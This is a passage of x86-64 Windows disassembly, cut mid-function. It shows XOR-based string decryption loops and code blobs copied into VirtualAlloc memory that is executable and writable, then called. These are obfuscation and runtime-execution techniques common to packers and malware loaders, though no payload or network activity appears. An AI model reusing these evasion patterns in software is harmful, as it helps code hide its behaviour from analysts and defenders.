movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14020e5c0
cmp r9d, 0x1e
jge 0x14020e7b2
movsxd rax, r9d
lea r10, [rbp + 0x100]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x14020e760
lea rax, [rbp + 0x100]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140298720]
test rax, rax
je 0x14020e831
xor edx, edx
lea r8, [0x14024df10]
cmp rax, r8
je 0x14020e820
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x298720]
test rax, rax
jne 0x14020e808
jmp 0x14020e831
mov r8, qword [rbx + rdx*8 + 0x297db0]
test r8, r8
jne 0x14020e926
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14020e8fe
lea rax, [0x14024df10]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020e870
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297a60]
lea rcx, [0x14024df10]
mov qword [rbx + rax*8 + 0x298720], rcx
mov qword [rbx + rax*8 + 0x297db0], r8
inc rax
mov qword [0x140297a60], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14020b850]
call r8
nop
mov dword [rsp + 0x40], 0x320
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402980d0]
test rax, rax
je 0x14020e9ab
xor edx, edx
lea r8, [0x14024df40]
cmp rax, r8
je 0x14020e99a
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2980d0]
test rax, rax
jne 0x14020e982
jmp 0x14020e9ab
mov r8, qword [rbx + rdx*8 + 0x29a3b0]
test r8, r8
jne 0x14020ea96
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14020ea6e
lea rax, [0x14024df40]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020e9e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
lea rcx, [0x14024df40]
mov qword [rbx + rax*8 + 0x2980d0], rcx
mov qword [rbx + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
mov rax, qword [str.__la6rTvxdR]
mov qword [rsp + 0x40], rax
mov r12d, dword [0x140294090]
cmp byte [0x1402818d7], 0
je 0x14020ecb1
xor r9d, r9d
cmp r12d, 2
jl 0x14020ec51
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm10
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm10
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x40]
xorps xmm2, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm4, xmmword [0x140284280]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
jmp 0x14020ecb1
lea r10, [rsp + 0x40]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14020ec60
lea rax, [rsp + 0x40]
inc r15
cmp byte [rax + r15], 0
jne 0x14020ecb6
mov rcx, qword [rbp + 0x130]
sub r13, rcx
cmp r13, r15
jb 0x14020f2e6
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140251540
nop
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rax, qword [rsp + 0x48]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x100], r15
xor r13d, r13d
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x14029b380]
test rax, rax
je 0x14020ed8e
mov edx, r13d
cmp rax, r14
je 0x14020ed7d
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x29b380]
test rax, rax
jne 0x14020ed65
jmp 0x14020ed8e
mov r8, qword [rbx + rdx*8 + 0x2996d0]
test r8, r8
jne 0x14020ee6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14020edb7
mov r8, r13
jmp 0x14020ee4e
mov rax, r14
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020edc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297070]
mov qword [rbx + rax*8 + 0x29b380], r14
mov qword [rbx + rax*8 + 0x2996d0], r8
inc rax
mov qword [0x140297070], rax
lea rdx, [rbp + 0xe0]
lea rcx, [0x14020b850]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r15
lea rcx, [rsp + 0x48]
call fcn.14024c260
movups xmm0, xmmword [str.4__l5_1_z]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1402813d0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1402813e0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1402813f0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1402813f8]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1402813fc]
mov word [rbp - 0x34], ax
movzx eax, byte [0x1402813fe]
mov byte [rbp - 0x32], al
mov r9d, r13d
cmp r12d, 2
jl 0x14020f099
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp - 0x6c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14020ef10
cmp r9d, 0x3f
jge 0x14020f102
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14020f0b0
lea rax, [rbp - 0x70]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
lea r12, [rbp + 0x1f8]
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], r12
mov r14, qword [r12]
xor r14, rdi
mov qword [rbp + 0x100], r14
mov qword [r12], r13
mov ecx, r13d
mov rax, qword [0x140298720]
lea r15, [0x14024df10]
test rax, rax
je 0x14020f180
mov rdx, r13
cmp rax, r15
je 0x14020f16f
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x298720]
test rax, rax
jne 0x14020f157
jmp 0x14020f180
mov r8, qword [rbx + rdx*8 + 0x297db0]
test r8, r8
jne 0x14020f25f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14020f1a9
mov r8, r13
jmp 0x14020f23e
mov rax, r15
mov rcx, r8
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x14020f1b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297a60]
mov qword [rbx + rax*8 + 0x298720], r15
mov qword [rbx + rax*8 + 0x297db0], r8
inc rax
mov qword [0x140297a60], rax
lea rdx, [rbp + 0xe0]
lea rcx, [0x14020b850]
call r8
nop
xor r14, rdi
mov qword [r12], r14
lea rcx, [rbp + 0x120]
call fcn.14024c260
nop
xor rdi, qword [rbp - 0x78]
lea rax, [rbp + 0x1f8]
mov qword [rax], rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rsp
call fcn.140271640
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140201420
nop
call fcn.140201420
int3